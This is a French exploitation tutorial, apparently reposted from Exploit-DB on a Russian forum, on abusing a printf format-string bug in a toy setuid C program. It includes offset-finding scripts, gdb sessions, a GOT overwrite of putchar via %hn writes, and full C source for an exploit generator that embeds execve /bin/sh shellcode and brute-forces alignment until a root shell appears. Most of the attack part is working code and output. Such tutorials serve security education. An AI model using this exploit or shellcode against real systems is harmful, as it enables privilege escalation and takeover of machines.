Exploit [French] Une simple Exploitation de vulnérabilité Format String

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
23985
Проверка EDB
  1. Пройдено
Автор
JULES MAINSARD
Тип уязвимости
PAPERS
Платформа
UNIX
CVE
N/A
Дата публикации
2013-01-08
Код:
******************************************************
Une simple exploitation de vulnérabilité Format String
******************************************************
		@-->[email protected]

Connaissances requises --> ASM (-)
		   --> GDB (-)
		   --> C (+)


Voici un court exploit pour une simple vulnérabilité Format String.
L'exploitation a été réalisé sous Backtrack 5, mais je pense que le processus d'exploitation est 
suffisamment détaillé pour pouvoir être reproduit sur n'importe qu'elle distribution Linux (Testé sur Ubuntu et Debian).

Note: Vous devrez désactiver l'ASLR (Address Space Layout Randomization) avec sysctl kernel.randomize_va_space=0
	ou en modifiant directement le fichier /proc/sys/kernel/randomize_va_space

Voici le programme vulnérable que nous allons exploiter:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {

	if(argc>1) {
		
		if(argc>2) {
			printf("Push a key to continue...\n"); //For attaching with gdb
			getc(stdin);
		}	
		printf( argv[1] ); //Vulnerability
		printf("\n");
	}
}

Compilation ... gcc -o formatstring formatstring.c -g

Pour ceux qui ne connaissent pas la théorie classique d'exploitation (vocabulaire, shellcode...), il y a
de bonnes doc sur le web. A propos des Format String, la vulnérabilité apparait quand vous passez en 
argument de la fonction printf (ou n'importe qu'elle fonction de cette famille d'ailleur) un pointeur sur
chaine (comme argv[1] ici). Tous les modifier (*) présents dans votre chaine seront interprété par printf 
et subsitué par leur valeurs qui, en situation normale, ont aussi été passées en argument de la fonction 
et doivent donc se situer sur la pile actuelle. Dans notre cas, printf ne prend qu'un argument, 
les valeurs des modifiers seront donc subsitués par des valeurs inconnues de la pile. On peut donc 
lire la mémoire du programme qui peut potentiellement révéler des informations intéressantes. Essayons:


(*) : les format modifiers commencent par un '%', il en existe beaucoup, les classiques %x pour 4 octets 
codés en hexadecimal, %s pour les pointeurs sur chaine, ou %n pour l'écriture en mémoire (4 octets).
		Je vous laisse consulter votre sprintf manuel pour plus d'infos : (*)


root@bt:~/exploit# ./formatstring "%x %x"
b7ff1030 804851b


Ca commence bien :). Maintenant, pour le fun et parce que ca nous sera utile plus tard, on veut déterminer
l'offset auquel commence la chaine argv[1] en mémoire (sur la pile en fait). C'est un argument de la 
fonction printf, il a donc une place légitime sur la pile de la fonction. On peut faire ca sans problèmes 
avec un petit script shell:


for((i=0; i<200; i++))
do 
	echo "Index $i"
	./formatstring "AAAAA`python -c "print ' %x'*$i"`" | grep -A5 -B5 4141 >temp.pap
	
	if test -s "temp.pap"; then 
		cat temp.pap
		break
	fi
done 
rm temp.pap


Executez le, vous obtiendrez probablement quelque chose comme ca:
.
.
.
Index 134
Index 135
Index 136
AAAAA b7ff1030 804851b b7fc9ff4 8048510 0 bffff478 b7e8abd6 2 bffff4a4 bffff4b0 b7fe1858 bffff460 ffffffff b7ffeff4 80482c4 1 bffff460 b7ff0626 b7fffab0 b7fe1b48 b7fc9ff4 0 0 bffff478 c410e2a0 eaafd4b0 0 0 0 2 8048400 0 b7ff6230 b7e8aafb b7ffeff4 2 8048400 0 8048421 80484b4 2 bffff4a4 8048510 8048500 b7ff1030 bffff49c b7fff8f8 2 bffff5f1 bffff600 0 bffff79e bffff7be bffff7d1 bffff7e1 bffff7ec bffff83d bffff84d bffff85f bffff889 bffff8a9 bffff8b3 bffffd54 bffffd7a bffffdc4 bffffe11 bffffe25 bffffe37 bffffe48 bffffe5f bffffe6a bffffe72 bffffe9e bffffeab bfffff0d bfffff4a bfffff6a bfffff77 bfffff84 bfffffa6 bfffffc3 bfffffdc 0 20 b7fe2420 21 b7fe2000 10 bfebfbff 6 1000 11 64 3 8048034 4 20 5 8 7 b7fe3000 8 0 9 8048400 b 0 c 0 d 0 e 0 17 0 19 bffff5db 1f bfffffed f bffff5eb 0 0 0 0 dc000000 716d924a 7fef9dfc 8cc53e9a 699d68e6 363836 662f2e00 616d726f 72747374 676e69 41414141

Ca veut simplement dire que si vous lancez `./formatstring "AAAAA%x %x ..."` [avec %x répété 136 fois], le dernier %x
qui est dumpé de la pile est 0x41414141, comme vous le constatez au dessus. 0x41414141 est 'AAAA' en ASCII, ce qui 
veut dire que nous avons atteint le début de notre chaine argv[1] sur la pile. L'offset est 136 pour moi mais ce sera 
surement différent pour vous.

Autre chose, j'ai donné 5 'A' en arguments de printf ici, le 'A' restant doit se tenir dans le prochain octet sur la 
pile (offset 137). Une moyen plus pratique de faire est de travailler avec le Direct Access Parameter. C'est assez 
facile à comprendre, au lieu de %x, on écrit %offset$x (offset étant un nombre). On référe aux 4 premiers 
octets avec %1$x, aux 4 prochain avec %2$x, etc.

Appliqué à l'exemple précedent:

root@bt:~/exploit# ./formatstring "%x %x"
b7ff1030 804851b

On peut le remplacer par:

root@bt:~/exploit# ./formatstring "%1\$x"
b7ff1030
root@bt:~/exploit# ./formatstring "%2\$x"
804851b


On peut adapter notre script shell en quelque chose de plus compact:


root@bt:~/exploit# for((i=0; i<200; i++)); do echo "Index $i" && ./formatstring "AAAA%$i\$x"; done | grep -B1 4141
Index 137
AAAA41410067
Index 138
AAAA31254141


root@bt:~/exploit# for((i=0; i<200; i++)); do echo "Index $i" && ./formatstring "AAAAAA%$i\$x"; done | grep -B1 4141
Index 137
AAAAAA41414141
Index 138
AAAAAA31254141

J'ai ajouté 2 'A' au second essai pour remplir une case complète de mémoire (4 octets ici) à l'offset 137.
Ce nombre de 'A' à ajouter pour que les prochains soient correctement "alignés" est important, vous en 
aurez besoin plus tard pour configurer votre exploit.
 
L'offset n'est plus le même que precedemment mais c'est normal, chaque ajout de caractères d'une longueur 
différente de 16 octets, décale la valeur initiale de départ de argv[1] sur la pile de printf.

Une petite verif..

root@bt:~/exploit# ./formatstring "ABCDAA%137\$x"
ABCDAA44434241

On est bono ('ABCD' = 0x44434241 , renversés en little endian )

Maintenant on va tenté d'écrire un peu de données en mémoire.
Il y a un format modifier qui nous permet d'écrire en mémoire, c'est le modifier %n, qui écrit le nombres de charactères 
qui le précéde dans la chaine en question (argv[1] dans ./formatstring).

printf("AAAAAA%n", akaddr)

écrira 0x6 (pour les 6 'A' avant %n) à l'addresse akaddr.

Or pour nous le(s) akaddr seront des valeurs de la pile (controlées grace au Direct Access Parametre), donc en utilisant 
l'offset du début de argv[1] sur la pile de printf, nous pourrons écrire des données arbitraire à des addresses arbitraires. 
C'est suffisant pour controler l'EIP et rediriger l'execution du programme. Nous allons utiliser un classique en remplacant un 
pointeur de fonction appelé dans la suite du programme par l'addresse d'un shellcode que nous ecrirons 4 octets plus loin 
en mémoire.


Essayons de trouver un pointeur de fonctions à remplacer.


root@bt:~/exploit# gdb formatstring 
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/exploit/formatstring...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080484b4 <+0>:	push   %ebp
   0x080484b5 <+1>:	mov    %esp,%ebp
   0x080484b7 <+3>:	and    $0xfffffff0,%esp
   0x080484ba <+6>:	sub    $0x10,%esp
   0x080484bd <+9>:	cmpl   $0x1,0x8(%ebp)
   0x080484c1 <+13>:	jle    0x80484fe <main+74>
   0x080484c3 <+15>:	cmpl   $0x2,0x8(%ebp)
   0x080484c7 <+19>:	jle    0x80484e2 <main+46>
   0x080484c9 <+21>:	movl   $0x80485c0,(%esp)
   0x080484d0 <+28>:	call   0x80483e4 <puts@plt>
   0x080484d5 <+33>:	mov    0x804a020,%eax
   0x080484da <+38>:	mov    %eax,(%esp)
   0x080484dd <+41>:	call   0x80483c4 <_IO_getc@plt>
   0x080484e2 <+46>:	mov    0xc(%ebp),%eax
   0x080484e5 <+49>:	add    $0x4,%eax
   0x080484e8 <+52>:	mov    (%eax),%eax
   0x080484ea <+54>:	mov    %eax,(%esp)
   0x080484ed <+57>:	call   0x80483d4 <printf@plt>
   0x080484f2 <+62>:	movl   $0xa,(%esp)
   0x080484f9 <+69>:	call   0x80483a4 <putchar@plt>		(*)
   0x080484fe <+74>:	leave  
   0x080484ff <+75>:	ret    
End of assembler dump.
(gdb) l *0x080484f9
0x80484f9 is in main (formatstring.c:13).
8			if(argc>2) {
9				printf("Push a key to continue...\n"); //For attaching with gdb
10				getc(stdin);
11			}	
12			printf( argv[1] );
13			printf("\n");		(*)
14		}
15	}
16	


On va réecrire le pointeur de la fonction putchar(), qui est appelé lors de l'instruction printf("\n") en C.
printf("\n") écrit un seul caractère , gcc optimise la routine assembleur utilisée en fonction du contenu que 
l'on veut afficher avec la fonction printf, ce pourrait être les routines asm puts ou printf à la place si l'on 
essaie d'afficher plus de contenu.

Go inspecter la GOT (Global Offset Table)

root@bt:~/exploit# objdump -R formatstring

formatstring:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a020 R_386_COPY        stdin
0804a000 R_386_JUMP_SLOT   __gmon_start__
0804a004 R_386_JUMP_SLOT   putchar		(*)
0804a008 R_386_JUMP_SLOT   __libc_start_main
0804a00c R_386_JUMP_SLOT   _IO_getc
0804a010 R_386_JUMP_SLOT   printf
0804a014 R_386_JUMP_SLOT   puts

On va donc écrire à l'addresse 0x0804a004, c'est la que se trouve le pointeur qui mène à la routine putchar.

[ L'offset sur argv[1] peut être différent sous gdb, j'avais trouvé 137 avant mais pour gdb c'est en fait
141, vous devrez peut être osciller un peu autour de votre valeur initial avec quelques `r "AAAAAA%1**\$x"`
avant de retomber sur le bon offset ]


(gdb) r "ABCDAA%141\$x"
Starting program: /root/exploit/formatstring "ABCDAA%141\$x"
ABCDAA41414443

Program exited with code 012.
(gdb) r "AAABCD%141\$x"
Starting program: /root/exploit/formatstring "AAABCD%141\$x"
AAABCD44434241

Program exited with code 012.


C'est bon on y est, maintenant l'écriture %n.


(gdb) r AA`echo $'\x04\xa0\x04\x08'`%141\$n
Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08'`%141\$n

Program received signal SIGSEGV, Segmentation fault.
0x00000006 in ?? ()

Nickel c'est ce qu'on attendait. Quelques clarifications. On utilise `echo $'chain'` pour traduire nos
octets hexadecimaux ('\x**') en charactères transmissible à ./formatstring. Ensuite, dans la fonction printf, 
%141$n essaie d'écrire à l'addresse présente sur la pile à l'offset 141, qui s'avère être notre addresse 
transmise, soit 0x0804a004. %141$n écrit donc le nombre de caractères présent avant lui dans argv[1], soit 0x6 à 
l'adresse 0x0804a004. Et 2 instructions plus tard, quand le programme va consulter l'addresse de putchar dans 
la GOT, il assigne à l'EIP la valeur *0x0804a004, qui est désormais 0x00000006 et le programme crash 
(addresse absurde).


Pour cette exploitation, on va utiliser un modifier légérement différent qui est %hn, et qui écrit non pas 4 
octets en mémoires (comme %n) mais seulement 2 (type short en C).


(gdb) r AA`echo $'\x04\xa0\x04\x08'`%141\$hn
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08'`%141\$hn

Program received signal SIGSEGV, Segmentation fault.
0xb7eb521c in vfprintf () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax            0x250804a0	621282464
ecx            0xbfffe020	-1073749984
edx            0x0	0
ebx            0xb7fc9ff4	-1208180748
esp            0xbfffddc8	0xbfffddc8
ebp            0xbffff518	0xbffff518
esi            0xb7fca4e0	-1208179488
edi            0x6	6
eip            0xb7eb521c	0xb7eb521c <vfprintf+17932>
eflags         0x210206	[ PF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/i $eip
=> 0xb7eb521c <vfprintf+17932>:	mov    %di,(%eax)


Le fameux piège, on peut seulement ajouter a notre argument des caractères par paquet de 16 afin que 
la chaine ne soit pas décalé sur la pile et que l'offset trouvé precedemment reste valable. Ici, le 
programme essaie d'écrire %di=0x6 à l'addresse dans %eax=0x250804a0 qui est clairement une addresse 
non permise (qui ne fait pas partie de l'espace mémoire alloué au programme). On le devine facilement, 
notre addresse n'est décalé que d'un octet, on en discerne encore les 3 premiers bytes. Ce qui est 
logique puisque nous n'avons ajouté qu'un seul caractère à notre argument (le 'h' de '%hn').

Donc d'après la théorie si on ajoute 15 caractères supplémentaire (des 'A') en fin de chaine, le 
problème devrait disparaitre.


(gdb) r AA`echo $'\x04\xa0\x04\x08'`%141\$hnAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08'`%141\$hnAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08040006 in ?? ()


Ouf :) Vous remarquez que cette fois, comme annoncé, seul 2 octets ont été réecrit par le modifier.
Essayons d'écraser tous le pointeur avec un second %hn. On va devoir ajouter un 
'\x06\xa0\x04\x08' (addresse d'écriture, on écrit en mémoire tous les 2 octets) et '%142\$hn', ca 
fait 11 octets(=strlen(addr)+strlen(modifier)). On ajoute donc 16-11=5 'A' en plus a la fin de l'argument.


(gdb) r AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%141\$hn%142\$hnAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%141\$hn%142\$hnAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x000a000a in ?? ()


Checkpoint.
Comment controler la valeur que nous écrivons? Souvenez vous de la definition du modifier %n/%hn, on peut 
utiliser des 'A' (ca risque de faire beaucoup...) ou alors le modifier %500x pour écrire 500 octets par 
exemple. La méthode des %***x abouti à l'exploit le plus court, c'est celle que nous allons utiliser.
N'oublions pas, pour chaque ajout de %***x on devra compléter par un ajout de 16-strlen('%***x') nombre 
de 'A' a la fin de l'argument pour que l'addresse de base de argv[1] sur la pile de printf reste la meme
(toujours la même règle).

Pour tester ca on peut essayer d'écrire l'adresse de exit() à la place de putchar() et voir si le programme 
quitte normalement au lieu de crasher.

(gdb) p exit
$1 = {<text variable, no debug info>} 0xb7ea3200 <exit>


				Decompose en 2 * 2 octets => 0xb7ea   0x3200

Un peu de baby math, 0x3200 - 0xa == 12790 en decimal, on va utiliser %12790x (ca fait 9 'A' à ajouter en fin de chaine)
			 0xb7ea - 0x3200 == 34282 en decimal, on va utiliser %34282x (9 nouveau 'A' à ajouter en fin de chaine)

Ce qui nous donne :


(gdb) r AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%12790x%141\$hn%34282x%142\$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/exploit/formatstring AA`echo $'\x04\xa0\x04\x08\x06\xa0\x04\x08'`%12790x%141\$hn%34282x%142\$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA�� 

.
.
.
.
.
.

804851bAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program exited with code 012.


Ca marche bien. Mais ce cas la était idéal, les octets à écrire étaient dans le bon ordre (0x3200 < 0xb7ea), pour écrire un 
shellcode de 20 ou 30 octets ca risque de pas être aussi rose. C'est une petite contrainte quand on utilise le modifier %n/%hn 
il écrit le nombre d'octets qui le précédent dans la chaine, donc à chaque écriture il écrira forcément un nombre supérieur que 
l'écriture précédente. Les double octets du shellcode ne seront donc pas écrit dans leur ordre de lecture mais en ordre 
croissant en mémoire. Pour rappelle le shellcode sera écrit 4 octets plus loin que le pointeur de fonction que l'on écrase dans 
la GOT soit en 0x0804a008 (dans la continuité du remplacement du pointeur de fonction en fait).

Le plus dur est fait, il ne reste plus qu'à écrire l'exploit.


	char *phrase="\x08\xa0\x04\x08" //4 bytes address
			"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90"; //26 bytes shellcode

phrase est la chaine que l'on veut écrire en mémoire en 0x0804a004.

Donc le pointeur de fonction sur putchar (0x0804a004) est remplacé par 0x0804a008 qui est le début du shellcode.
Ca peut être un peu dur à comprendre donc j'ai détaillé ;)

Maintenant on va devoir extraire les octets de phrase par paire, noter leur position initiale dans phrase et les classer en 
ordre croissant. A partir de la 2 choix s'offre à nous pour notre exploit sur argv[1], soit placer les addresses d'écriture 
dans le bon ordre et les offset des modifier dans le mauvais, soit les addresses d'écriture dans le mauvais ordre et les 
offset des modifiers dans le bon ordre. C'est la seconde option qui est présenté dans cet exploit.

[ Vous l'aurez compris quand je parle de mauvais ordre, c'est un ordre qui correspond à une écriture des octets de phrase en 
ordre croissant ]

Les structures utilisés...

typedef struct {int val; int pos;} charindex;

void construireStruct(charindex tab[], char *psz) {

	int cur, cpt=0;
	//Extraire les byte de psz par paire et les stocker dans le tableau de structure avec leur position initiale dans psz
	while( (*psz!=0) && (*(psz+1)!=0) ) {
	
		cur= *(unsigned short *)psz;
		(*(tab+cpt)).val=cur;
		(*(tab+cpt)).pos=cpt;
		cpt++;
		psz+=2;
	
	}

}

L'écriture des addresses dans le "mauvais ordre"..

charindex tabstruct[lentabstruct], tabstructclasse[lentabstruct];
construireStruct(tabstructclasse, phrase);
classerStructCroissant(tabstructclasse, lentabstruct);
for(i=0; i<lentabstruct; i++) {
		
	formataddress(tempaddr, addresse+((tabstructclasse[i].pos)*2));
	strcat(exploit, tempaddr);
	lensofar+=4;
	
}

Dans l'exploit, les paramètres à modifier sont nba pour le nombre de 'a' à ajouter pour avoir les addresses d'écriture 
correctement "alignées" pour une utilisation avec %***$hn (j'en ai parlé au début) et deb pour l'offset de début 
de argv[1] sur la pile (ce n'est pas vraiment l'offset du début mais l'offset de l'addresse de base de argv[1]+nba).
Ces deux nombres peuvent être difficile à déterminer avec précision, surtou nba, on l'a vu qui peut varier selon 
l'environnement d'execution du programme (gdb ou classic shell). J'ai ajouté une petite option de bruteforce dans mon 
programme d'exploitation sur le paramètre nba. Fonctionne correctement pour l'execution de l'exploit sur un compte 
non privilégié de mon PC.


root@bt:~/exploit# gcc -o firstex firstex.c
root@bt:~/exploit# su achile
bash-4.1$ id
uid=1001(achile) gid=1001(achile) groups=1001(achile)
bash-4.1$ EX=`./firstex`
bash-4.1$ echo $EX
�
  ���� ����� ����%1992x%137$hn%10027x%138$hn%57x%139$hn%633x%140$hn%7938x%141$hn%5997x%142$hn%35x%143$hn%239x%144$hn%8177x%145$hn%27x%146$hn%1810x%147$hn%3976x%148$hn%4298x%149$hn%3935x%150$hn%3290x%151$hnaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
bash-4.1$ ./formatstring "$EX"
�
  ����
����� ����                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         Segmentation fault
bash-4.1$
bash-4.1$ for((i=0; i<200; i++)); do EX=`./firstex $i`; ./formatstring "$EX"; done

.
.
.
.

                                         sh-4.1# 
sh-4.1# 
sh-4.1# id
uid=1001(achile) gid=1001(achile) euid=0(root) egid=0(root) groups=1001(achile)
sh-4.1# 



***************************
Here comes the exploit code
***************************

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {int val; int pos;} charindex;
void construireStruct(charindex tab[], char *psz);
void classerStructCroissant(charindex tab[], int len);
void formataddress(char chain[], int addr);
void generata(char as[], int nbo);

int main(int argc, char **argv) {
	
	int addresse=0x0804a004, lensofar=0, lenmodifier=6, i, lentabstruct, nba=7, vale, valmod, deb=137;
	char exploit[1000000], tempa[100000], tempaddr[100], tempmod[100];
	char *phrase="\x08\xa0\x04\x08\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
	  "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90"; //strlen(phrase)%2=0
	
	//Bruteforce option
	if(argc>1)	nba=atoi(argv[1]); //Just change nba to deb if you want to bruteforce this one instead

	
	lentabstruct=strlen(phrase)/2+strlen(phrase)%2;
	charindex tabstruct[lentabstruct], tabstructclasse[lentabstruct];
	
	//Dabord on place les addresses, dans le bon ordre, puisquon ne dispose pas les byte dans leur ordre de lecture mais
	//en ordre croissant (imposé par le modifier $hn qui ecrit le nombre de caractere qui le précédent dans le buffer)
	
	construireStruct(tabstructclasse, phrase);
	classerStructCroissant(tabstructclasse, lentabstruct);
	for(i=0; i<lentabstruct; i++) {
		
		formataddress(tempaddr, addresse+((tabstructclasse[i].pos)*2));
		strcat(exploit, tempaddr);
		lensofar+=4;
	
	}

	for(i=0; i<lentabstruct; i++) {
	
		vale=tabstructclasse[i].val-lensofar; //length to add to generate the right byte (corresponding to the one
		//we are up to in variable phrase) 
		sprintf(tempa, "%%%dx", vale);
		
		valmod=16-strlen(tempa);
		nba+=valmod; //If you want to use %**x (** being a number) to generate the right len 
		//you still have to follow the rule to add only 16 by 16 chars to the exploit chain for the alignment on the stack
		//to remains the same
		
		strcat(exploit, tempa);
		sprintf(tempmod, "%%%d$hn", deb);
		strcat(exploit, tempmod);
		
		if(i>0)
			nba+=16-(strlen(tempmod)+4); 
		
		deb++;
		lensofar+=vale;
	}
	
	generata(tempa, nba);
	strcat(exploit, tempa);
	
	printf("%s", exploit);
 
}

void generata(char as[], int nbo) {

	int k;
	for(k=0; k<nbo; k++)
		as[k]='a';
	as[nbo]=0;

}

void construireStruct(charindex tab[], char *psz) {

	int cur, cpt=0;
	//Extraire les byte de psz par paire et les stocker dans le tableau de structure avec leur position initiale dans psz
	while( (*psz!=0) && (*(psz+1)!=0) ) {
	
		cur= *(unsigned short *)psz;
		(*(tab+cpt)).val=cur;
		(*(tab+cpt)).pos=cpt;
		cpt++;
		psz+=2;
	
	}

}

void classerStructCroissant(charindex tab[], int len) {

	int k, end=0;
	charindex temp;
	 //TRI A BULLES CROISSANT
	while(end==0) {
		end=1;
		for(k=0; k<len-1; k++) {
			if(tab[k].val>tab[k+1].val) {
				temp=tab[k];
				tab[k]=tab[k+1];
				tab[k+1]=temp;
				end=0;
			}
		}
	}

}

void formataddress(char chain[], int addr) {
	
	//Formatage byte a byte de l'adresse d'ecriture en little endian (dans le cas dune machine i386)
	//on ecrit les byte en sens inverse
	
	char opcode[20];

	int v=(addr & 0xff); //addr & 0xff(000000) == identite des 2 bits de poid courant et mise a zero des autres
	sprintf(opcode, "%c", v);
	
	strcpy(chain, opcode);
	
	v=(addr & 0xff00)>>8; // addr >> (8|16|24) == decalage des 2 bits gardés intact tout a droite
	//(s'ils ne l'etaient pas deja, cas de la ligne 126)
	sprintf(opcode, "%c", v);
	
	strcat(chain, opcode);
	
	v=(addr & 0xff0000)>>16;
	sprintf(opcode, "%c", v);
	
	strcat(chain, opcode);
	
	v=(addr & 0xff000000)>>24;
	sprintf(opcode, "%c", v);
	
	strcat(chain, opcode);

}




**************References*************************
************************The Shellcoder's handbook
 
Источник
www.exploit-db.com

Похожие темы